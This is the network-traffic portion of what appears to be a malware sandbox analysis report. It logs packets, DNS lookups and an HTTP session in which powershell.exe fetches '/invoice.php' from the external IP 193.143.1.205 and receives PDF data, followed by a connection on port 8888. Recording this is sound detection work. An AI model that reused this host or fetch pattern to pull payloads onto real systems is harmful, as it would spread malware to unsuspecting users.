Jan 10, 2025 18:14:45.385257959 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.385572910 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385607004 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385616064 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.385620117 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385642052 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385654926 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385662079 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.385669947 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385682106 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.385690928 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.385731936 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.485476971 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490613937 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490643978 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490657091 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490668058 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490679979 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490691900 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490704060 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490712881 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490725994 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490739107 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490750074 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490760088 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490763903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490780115 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490794897 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490799904 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490807056 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490819931 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490833998 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490833998 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490859032 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490921974 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490932941 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490943909 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490962029 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.490962029 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.490974903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491004944 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491033077 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491065979 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491077900 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491089106 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491101027 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491113901 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491117001 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491127014 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491138935 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491151094 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491152048 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491164923 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491182089 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491187096 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491203070 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491203070 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491216898 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491219997 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491230011 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491240978 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491252899 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491254091 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491264105 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491277933 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491290092 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491290092 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491303921 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491334915 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491334915 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491347075 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491358042 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491369963 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491381884 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491385937 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491398096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491417885 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491421938 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491430044 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491441965 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491455078 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491455078 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491465092 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491468906 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491482973 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491497040 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491502047 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491514921 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491534948 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491559029 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491693020 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491703987 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491715908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491727114 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491739035 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491750002 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491751909 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491761923 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491772890 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491774082 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491785049 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491796017 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491807938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491820097 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491827965 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491832972 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491832972 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491842031 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491853952 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491863966 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491866112 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491878986 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491889954 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491892099 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491903067 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491925955 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491950035 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.491961956 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491971970 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491983891 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.491995096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492006063 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492011070 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492023945 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492031097 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492059946 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492098093 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492110014 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492121935 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492134094 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492142916 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492144108 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492157936 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492168903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492177010 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492181063 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492186069 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492193937 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492206097 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492216110 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492219925 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492232084 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492244005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492252111 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492264032 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492273092 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492305994 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492362976 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492376089 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492387056 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492410898 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492422104 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492432117 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492444992 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492444992 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492470980 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492549896 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492562056 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492574930 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492584944 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492593050 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492623091 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492640972 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492655039 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492666006 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492679119 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492680073 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492691040 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492702961 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.492705107 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.492746115 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498492956 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498526096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498553991 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498563051 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498594046 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498599052 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498613119 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498645067 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498653889 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498686075 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498707056 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498716116 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498723984 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498742104 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498750925 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498776913 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498806953 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498807907 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498826981 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498842955 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498857021 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498862982 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498882055 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498894930 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498900890 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498930931 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498935938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498958111 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498975039 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.498991013 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.498992920 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.499011040 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.499022007 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.499032021 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.499063015 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.499069929 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.499085903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.499119997 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530302048 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530319929 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530339003 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530352116 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530363083 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530368090 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530376911 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530389071 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530400991 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530405998 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530453920 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530881882 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530910969 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530922890 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530934095 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530956984 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530972958 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.530975103 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.530988932 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.531044006 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.670008898 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.675661087 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:46.035249949 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:46.592199087 CET	49784	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:46.597023964 CET	8888	49784	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:46.597399950 CET	49784	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:46.597574949 CET	49784	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:46.602300882 CET	8888	49784	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:47.387358904 CET	8888	49784	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:47.438957930 CET	49784	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:48.058815956 CET	49784	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:14:59.596496105 CET	50244	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:15:13.442904949 CET	53875	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:15:25.848874092 CET	58567	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:14:59.596496105 CET	192.168.2.5	1.1.1.1	0x511c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:15:13.442904949 CET	192.168.2.5	1.1.1.1	0xfde6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:15:25.848874092 CET	192.168.2.5	1.1.1.1	0x8723	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:14:34.392359972 CET	1.1.1.1	192.168.2.5	0xeccf	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:14:34.392359972 CET	1.1.1.1	192.168.2.5	0xeccf	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:14:59.607192993 CET	1.1.1.1	192.168.2.5	0x511c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:15:13.451797009 CET	1.1.1.1	192.168.2.5	0xfde6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:15:25.856873989 CET	1.1.1.1	192.168.2.5	0x8723	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49773	193.143.1.205	80	1240	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:14:43.933809042 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:14:44.736666918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:14:44.736711979 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:14:44.736723900 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:14:44.736737013 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:14:44.736751080 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
